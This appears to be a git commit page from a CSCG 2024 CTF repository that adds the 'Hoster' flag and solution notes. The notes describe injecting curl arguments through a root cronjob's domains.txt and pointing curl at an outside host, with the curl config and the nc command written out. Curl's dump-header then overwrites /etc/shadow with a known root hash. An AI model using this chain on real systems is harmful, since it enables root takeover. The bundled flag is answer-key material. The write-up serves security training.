cscg24-hoster

CSCG 2024 Challenge 'Hoster'
git clone https://git.sinitax.com/sinitax/cscg24-hoster
Log | Files | Refs | sfeed.txt

commit e6f317a6dc0a07fba6d2f43f05a103fc822b4253
Author: Louis Burda <quent.burda@gmail.com>
Date:   Fri, 15 Mar 2024 00:52:19 +0100

Add solution

Diffstat:
Achall/flag | 1+
Achall/notes | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 79 insertions(+), 0 deletions(-)

diff --git a/chall/flag b/chall/flag @@ -0,0 +1 @@ +CSCG{1nject1ng_0pti0ns_1nste4d_of_c0mm4nds} diff --git a/chall/notes b/chall/notes @@ -0,0 +1,78 @@ +we get access to a brand new machine + +we find that cron is the only other thing running beside dropbear for ssh + +crontab reads configuration from /etc/cron.d/*, /etc/crontab and /var/spool/cron/ + +checkout /etc crontab entries.. nothing special, cant read /var/spool/cron + +search filesystem for config/domains.txt -> find /opt/scripts/request_certificates.sh + +see that domains.txt is owned by root, but config folder is owned by us.. +we can move the config folder and replace the file at that path with our own + +place a domain that belongs to us in the file and wait... we get a HEAD request after ~1 min +=> the script is run every minute by an admin cronjob + +#!/bin/bash + +for file in /var/www/*; do + echo "$file" + if ([ -f $file/config/domains.txt ]) + then + while IFS="" read -r p || [ -n "$p" ] + do + if ( dig "$p" | grep -q 'NXDOMAIN' ) || ( dig "$p" 2>&1 | grep -q 'Invalid' ) || ( dig "$p" | grep -q 'SERVFAIL' ) + then + echo "[-] Error resolving the domain" + else + curl -I "$p" + # certbot -d "$p" + fi + done < $file/config/domains.txt + else + echo "[-] Not a file" + fi +done + +there is a pre-check with dig we need to bypass, then we can inject commandline +arguments to curl.. + +one such arguments is -Kconfig to let curl read further options from a config file + +Next we need to prevent dig from calling the input arg NXDOMAIN, an invalid flag or the server unreachable + +To do this we masquerade our curl options as an invalidly formatted dig option.. + +For this we prefix an option both utilities share.. -k! (keyfile for dig, insecure for curl) + +Our final argument is then -kK/tmp/config + +We can now inject arbitrary commandline arguments to the curl command running +as root by writing to /tmp/config. + +The -I option is a pain, because we cant output data directly to a file, +since -I makes curl omit the response body. + +Looking around we find the dump-header option though.. this writes +the headers to a file. It isnt perfect, since the HTTP response status +line will be included but its good enough. + +Certain files like /etc/passwd, /etc/gorup, /etc/shadow are inherently +robust, since a single error could cause a system lockout.. + +We can use this to exchange the root password hash in /etc/shadow for +one that we know and use `su` to gain root privileges and read the flag. + +For that we use the following config + +url = "http://sinitax.com:9999" +dump-header = "/etc/shadow" + +and on server side: + +echo -e 'HTTP/1.1 200 OK\nroot:$y$j9T$WzLnIqCeKGPsZ99A/M6zG1$Z7ZqQY70qOzUdJKZ2ovpASps/NytHnPoeCVagQKvLO.:19796:0:99999:7:::\n' | nc -l 9999 + +This sets the root pasword to `test`. + +And voila